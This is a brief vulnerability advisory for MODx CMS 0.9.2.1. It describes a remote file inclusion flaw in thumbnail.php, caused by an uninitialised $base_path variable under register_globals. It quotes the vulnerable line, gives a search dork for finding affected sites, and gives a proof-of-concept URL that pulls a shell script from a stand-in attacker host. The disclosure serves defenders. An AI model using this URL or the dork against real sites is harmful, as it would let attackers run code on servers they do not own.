+-------------------------------------------------------------------------------------------
+ Affected Software .: MODx CMS 0.9.2.1
+ Vendor ............: http://modxcms.com/
+ Download ..........: http://modxcms.com/downloads.html
+ Description .......: "MODx is an open source PHP Application Framework that helps you take control of your online content."
+ Dork ..............: "powered by MODx"

+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ MODx CMS manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php does not initialize
+ the $base_path variable before using it to include files, assuming register_globals = on,
+ we can intialize the variable in a query string and include a remote file of our choice.
+ 
+ Vulnerable Code:
+ manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php, line(s) 24:
+ -> include $base_path."manager/media/browser/mcpuk/connectors/php/Commands/helpers/iconlookup.php";
+
+ Proof Of Concept:
+ http://[target]/[path]/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://evilsite.com/shell.php?
